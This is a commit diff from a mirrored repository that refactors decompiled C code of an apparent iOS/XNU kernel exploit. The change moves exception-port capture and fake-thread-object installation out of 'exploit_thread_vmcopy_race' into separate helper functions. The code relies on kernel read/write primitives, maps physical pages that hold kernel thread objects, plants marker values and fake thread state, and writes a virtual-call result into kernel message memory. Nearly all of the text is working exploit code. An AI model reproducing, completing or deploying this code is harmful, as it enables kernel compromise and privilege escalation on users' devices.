mirror of
https://github.com/khanhduytran0/coruna.git
synced 2026-07-12 23:16:39 +02:00
Extract vmcopy exception tail setup
This commit is contained in:
@@ -157,8 +157,12 @@ typedef struct VmcopyTriggerThreadBlock
|
||||
enum
|
||||
{
|
||||
VMCOPY_KREAD_CTX_OFFSET = 8,
|
||||
VMCOPY_EXCEPTION_MSG_BUFFER_OFFSET = 16,
|
||||
VMCOPY_MAPPED_THREAD_OBJECT_OFFSET = 24,
|
||||
VMCOPY_CHILD_THREAD_PORT_OFFSET = 40,
|
||||
VMCOPY_FINAL_THREAD_OBJECT_OFFSET = 352,
|
||||
VMCOPY_TARGET_THREAD_KADDR_OFFSET = 360,
|
||||
VMCOPY_EXCEPTION_PORT_OFFSET = 368,
|
||||
VMCOPY_CHILD_THREAD_KADDR_OFFSET = 376,
|
||||
VMCOPY_FAKE_THREAD_STATE_OFFSET = 384,
|
||||
VMCOPY_FAKE_THREAD_STATE_BYTES = 0x110,
|
||||
@@ -177,6 +181,16 @@ enum
|
||||
VMCOPY_POLICY_MARK_DEFAULT_OFFSET = 184,
|
||||
VMCOPY_POLICY_MARK_LEGACY_CPU_OFFSET = 112,
|
||||
VMCOPY_POLICY_MARK_BIT = 0x8000,
|
||||
VMCOPY_EXCEPTION_MASK = 0x1BFE,
|
||||
VMCOPY_EXCEPTION_BEHAVIOR = 2,
|
||||
VMCOPY_EXCEPTION_FLAVOR = 17,
|
||||
VMCOPY_EXCEPTION_MSG_ALLOC_SIZE = 0x800,
|
||||
VMCOPY_EXCEPTION_MSG_RECV_SIZE = 0x400,
|
||||
VMCOPY_PAGE_INFO_PAYLOAD_WORDS = 30,
|
||||
VMCOPY_FINAL_WAIT_LINK_MARKER = 0x41414141u,
|
||||
VMCOPY_FINAL_MSG_LINK_MARKER = 0x42424242u,
|
||||
VMCOPY_FINAL_ARG5_MARKER = 0x43434343u,
|
||||
VMCOPY_FINAL_ARG6_MARKER = 0x44444444u,
|
||||
VMCOPY_MARKER32 = 0xC0C0C0C0u,
|
||||
VMCOPY_MARKER64 = 0xC0C0C0C0C0C0C0C0ULL,
|
||||
};
|
||||
@@ -446,6 +460,41 @@ static inline uint64_t vmcopy_run_thread_state_race(
|
||||
}
|
||||
}
|
||||
|
||||
static inline void vmcopy_receive_captured_thread_exception(__int64 state, const void *capturedThreadObject)
|
||||
{
|
||||
__int64 kreadCtx = *(uint64_t *)(state + VMCOPY_KREAD_CTX_OFFSET);
|
||||
uint64_t targetThreadKaddr = *(uint64_t *)(state + VMCOPY_TARGET_THREAD_KADDR_OFFSET);
|
||||
|
||||
kread_u64_value(kreadCtx, targetThreadKaddr + 296);
|
||||
mach_port_allocate(mach_task_self_, 1u, (mach_port_name_t *)(state + VMCOPY_EXCEPTION_PORT_OFFSET));
|
||||
mach_port_insert_right(
|
||||
mach_task_self_,
|
||||
*(uint32_t *)(state + VMCOPY_EXCEPTION_PORT_OFFSET),
|
||||
*(uint32_t *)(state + VMCOPY_EXCEPTION_PORT_OFFSET),
|
||||
0x14u);
|
||||
thread_set_exception_ports(
|
||||
*(uint32_t *)(state + VMCOPY_CAPTURED_THREAD_OFFSET),
|
||||
VMCOPY_EXCEPTION_MASK,
|
||||
*(uint32_t *)(state + VMCOPY_EXCEPTION_PORT_OFFSET),
|
||||
VMCOPY_EXCEPTION_BEHAVIOR,
|
||||
VMCOPY_EXCEPTION_FLAVOR);
|
||||
thread_resume(*(uint32_t *)(state + VMCOPY_CAPTURED_THREAD_OFFSET));
|
||||
|
||||
mach_msg_header_t *message = (mach_msg_header_t *)calloc(1u, VMCOPY_EXCEPTION_MSG_ALLOC_SIZE);
|
||||
*(uint64_t *)(state + VMCOPY_EXCEPTION_MSG_BUFFER_OFFSET) = (uint64_t)message;
|
||||
mach_msg(
|
||||
message,
|
||||
VMCOPY_EXCEPTION_BEHAVIOR,
|
||||
0,
|
||||
VMCOPY_EXCEPTION_MSG_RECV_SIZE,
|
||||
*(uint32_t *)(state + VMCOPY_EXCEPTION_PORT_OFFSET),
|
||||
0,
|
||||
0);
|
||||
|
||||
kread_u64_value(kreadCtx, targetThreadKaddr + 296);
|
||||
memcpy(*(void **)(state + VMCOPY_MAPPED_THREAD_OBJECT_OFFSET), capturedThreadObject, 0x130u);
|
||||
}
|
||||
|
||||
static inline void vmcopy_patch_memory_entry_page(__int64 kreadCtx, __int64 pageInfoKaddr, uint32_t ppnum, __int128 scratch[2])
|
||||
{
|
||||
memset(scratch, 0, 32);
|
||||
@@ -472,6 +521,51 @@ static inline vm_address_t vmcopy_map_physical_page(
|
||||
return mappedAddress;
|
||||
}
|
||||
|
||||
static inline void vmcopy_install_final_fake_thread_object(
|
||||
__int64 state,
|
||||
__int64 pageInfoKaddr,
|
||||
uint32_t mappedPageRef,
|
||||
uint32_t restorePageRef,
|
||||
mem_entry_name_port_t objectHandle,
|
||||
uint64_t pageInfoPayload[VMCOPY_PAGE_INFO_PAYLOAD_WORDS])
|
||||
{
|
||||
__int64 kreadCtx = *(uint64_t *)(state + VMCOPY_KREAD_CTX_OFFSET);
|
||||
uint64_t targetThreadKaddr = *(uint64_t *)(state + VMCOPY_TARGET_THREAD_KADDR_OFFSET);
|
||||
uint64_t targetThreadPage = targetThreadKaddr & 0xFFFFFFFFFFFFC000LL;
|
||||
uint64_t targetThreadPageOffset = targetThreadKaddr & 0x3FFFLL;
|
||||
vm_address_t mappedPage = vmcopy_map_physical_page(
|
||||
kreadCtx,
|
||||
pageInfoKaddr,
|
||||
mappedPageRef,
|
||||
restorePageRef,
|
||||
objectHandle,
|
||||
targetThreadPage,
|
||||
(__int128 *)pageInfoPayload);
|
||||
uint64_t mappedThreadObject = mappedPage + targetThreadPageOffset;
|
||||
|
||||
*(uint64_t *)(state + VMCOPY_FINAL_THREAD_OBJECT_OFFSET) = mappedThreadObject;
|
||||
*(uint64_t *)(mappedThreadObject + 264) = VMCOPY_FINAL_WAIT_LINK_MARKER;
|
||||
*(uint32_t *)(mappedThreadObject + 272) = 0;
|
||||
*(uint64_t *)(mappedThreadObject + 248) = VMCOPY_FINAL_MSG_LINK_MARKER;
|
||||
memcpy((void *)(mappedThreadObject + 136), kVmcopyFakePageMarkers, sizeof(kVmcopyFakePageMarkers));
|
||||
setup_kernel_exploit_msg(
|
||||
state,
|
||||
targetThreadKaddr,
|
||||
VMCOPY_FINAL_WAIT_LINK_MARKER,
|
||||
0,
|
||||
VMCOPY_FINAL_MSG_LINK_MARKER,
|
||||
VMCOPY_FINAL_ARG5_MARKER,
|
||||
VMCOPY_FINAL_ARG6_MARKER);
|
||||
|
||||
memset(pageInfoPayload, 0, VMCOPY_PAGE_INFO_PAYLOAD_WORDS * sizeof(uint64_t));
|
||||
query_phys_page_info(state, qword_48040, (__int64)pageInfoPayload);
|
||||
|
||||
uint64_t messageKaddr = *(uint64_t *)(state + VMCOPY_MESSAGE_KADDR_OFFSET);
|
||||
kwrite_u64_to_addr(kreadCtx, messageKaddr + 61448LL, messageKaddr + 61408LL);
|
||||
uint64_t vtableResult = (*(__int64 (__fastcall **)(__int64))(*(uint64_t *)state + 16LL))(state);
|
||||
kwrite_u64_to_addr(kreadCtx, messageKaddr + 61456LL, vtableResult);
|
||||
}
|
||||
|
||||
static inline uint64_t vmcopy_page_info_addr_from_ref(uint32_t ref, uint64_t packedBase, uint64_t linearBase, uint32_t pageShift)
|
||||
{
|
||||
if ( (ref & 0x80000000u) != 0 )
|
||||
@@ -8075,9 +8169,7 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
|
||||
__int64 v48; // x28
|
||||
int v54; // w8
|
||||
unsigned int v63; // w0
|
||||
unsigned __int64 v64; // x22
|
||||
unsigned __int64 v65; // x25
|
||||
unsigned __int64 v67; // x8
|
||||
__int64 v68; // x22
|
||||
__int64 v69; // x0
|
||||
unsigned __int64 v70; // x0
|
||||
@@ -8088,13 +8180,6 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
|
||||
__int64 v75; // x0
|
||||
mach_vm_address_t v76; // x1
|
||||
__int64 v78; // x25
|
||||
mach_msg_header_t *v86; // x0
|
||||
vm_offset_t v87; // x22
|
||||
__int64 v88; // x24
|
||||
vm_address_t v89; // x8
|
||||
__int64 v90; // x22
|
||||
__int64 v91; // x24
|
||||
__int64 v92; // x0
|
||||
void *v94; // [xsp+40h] [xbp-6C0h]
|
||||
__int64 v95; // [xsp+58h] [xbp-6A8h]
|
||||
__int64 v96; // [xsp+98h] [xbp-668h]
|
||||
@@ -8111,7 +8196,6 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
|
||||
unsigned int v107; // [xsp+ECh] [xbp-614h]
|
||||
vm_offset_t v108; // [xsp+F0h] [xbp-610h]
|
||||
unsigned __int64 v109; // [xsp+F8h] [xbp-608h]
|
||||
vm_address_t v110; // [xsp+100h] [xbp-600h] BYREF
|
||||
natural_t suspendedThreadState[0x44]; // [xsp+140h] [xbp-5C0h] BYREF
|
||||
VmcopyWritePhysmapBlock writePhysmapBlock; // [xsp+250h] [xbp-4B0h] BYREF
|
||||
vm_address_t v144; // [xsp+2B8h] [xbp-448h] BYREF
|
||||
@@ -8327,10 +8411,8 @@ LABEL_68:
|
||||
kwrite_u64_to_addr(*v2, v23 + qword_48008 - 8, v100);
|
||||
kwrite_u64_to_addr(*v2, qword_48008 + v23, v96);
|
||||
v63 = kread_u32_value(*v2, v20);
|
||||
v64 = v106;
|
||||
v65 = vmcopy_find_page_info_for_physical(*v2, v63, v109, v106, v159, v108);
|
||||
v67 = vmcopy_page_info_ref_from_addr(v65, v109, v64, v159);
|
||||
v99 = v67;
|
||||
v99 = vmcopy_page_info_ref_from_addr(v65, v109, v106, v159);
|
||||
v144 = vmcopy_map_physical_page(
|
||||
*(uint64_t *)(someStruct + 8),
|
||||
v103,
|
||||
@@ -8385,41 +8467,15 @@ LABEL_68:
|
||||
v41,
|
||||
v100);
|
||||
memcpy(v94, (const void *)capturedSnapshot, 0x130u);
|
||||
kread_u64_value(*(uint64_t *)(someStruct + 8), *(uint64_t *)(someStruct + 360) + 296LL);
|
||||
mach_port_allocate(mach_task_self_, 1u, (mach_port_name_t *)(someStruct + 368));
|
||||
mach_port_insert_right(mach_task_self_, *(uint32_t *)(someStruct + 368), *(uint32_t *)(someStruct + 368), 0x14u);
|
||||
thread_set_exception_ports(*(uint32_t *)(someStruct + 672), 0x1BFEu, *(uint32_t *)(someStruct + 368), 2, 17);
|
||||
thread_resume(*(uint32_t *)(someStruct + 672));
|
||||
v86 = (mach_msg_header_t *)calloc(1u, 0x800u);
|
||||
*(uint64_t *)(someStruct + 16) = v86;
|
||||
mach_msg(v86, 2, 0, 0x400u, *(uint32_t *)(someStruct + 368), 0, 0);
|
||||
kread_u64_value(*(uint64_t *)(someStruct + 8), *(uint64_t *)(someStruct + 360) + 296LL);
|
||||
memcpy(*(void **)(someStruct + 24), v94, 0x130u);
|
||||
v87 = *(uint64_t *)(someStruct + 360) & 0xFFFFFFFFFFFFC000LL;
|
||||
v88 = *(uint64_t *)(someStruct + 360) & 0x3FFFLL;
|
||||
v110 = vmcopy_map_physical_page(
|
||||
*(uint64_t *)(someStruct + 8),
|
||||
v103,
|
||||
*(uint64_t *)(someStruct + 32),
|
||||
v102 >> v159,
|
||||
object_handle,
|
||||
v87,
|
||||
(__int128 *)pageInfoPayload);
|
||||
v89 = v110 + v88;
|
||||
*(uint64_t *)(someStruct + 352) = v110 + v88;
|
||||
*(uint64_t *)(v89 + 264) = 1094795585;
|
||||
*(uint32_t *)(v89 + 272) = 0;
|
||||
*(uint64_t *)(v89 + 248) = 1111638594;
|
||||
memcpy((void *)(v89 + 136), kVmcopyFakePageMarkers, sizeof(kVmcopyFakePageMarkers));
|
||||
setup_kernel_exploit_msg(someStruct, *(uint64_t *)(someStruct + 360), 1094795585, 0, 1111638594, 1128481603, 1145324612);
|
||||
memset(pageInfoPayload, 0, sizeof(pageInfoPayload));
|
||||
query_phys_page_info(someStruct, qword_48040, (__int64)pageInfoPayload);
|
||||
kwrite_u64_to_addr(*(uint64_t *)(someStruct + 8), *(uint64_t *)(someStruct + 664) + 61448LL, *(uint64_t *)(someStruct + 664) + 61408LL);
|
||||
v90 = *(uint64_t *)(someStruct + 8);
|
||||
v91 = *(uint64_t *)(someStruct + 664) + 61456LL;
|
||||
v92 = (*(__int64 (__fastcall **)(__int64))(*(uint64_t *)someStruct + 16LL))(someStruct);
|
||||
kwrite_u64_to_addr(v90, v91, v92);
|
||||
*(uint32_t *)(someStruct + 40) = v162;
|
||||
vmcopy_receive_captured_thread_exception(someStruct, v94);
|
||||
vmcopy_install_final_fake_thread_object(
|
||||
someStruct,
|
||||
v103,
|
||||
*(uint64_t *)(someStruct + 32),
|
||||
v102 >> v159,
|
||||
object_handle,
|
||||
pageInfoPayload);
|
||||
*(uint32_t *)(someStruct + VMCOPY_CHILD_THREAD_PORT_OFFSET) = v162;
|
||||
if ( semaphore + 1 >= 2 )
|
||||
semaphore_destroy(mach_task_self_, semaphore);
|
||||
if ( v160 + 1 >= 2 )
|
||||
|
||||
Reference in New Issue
Block a user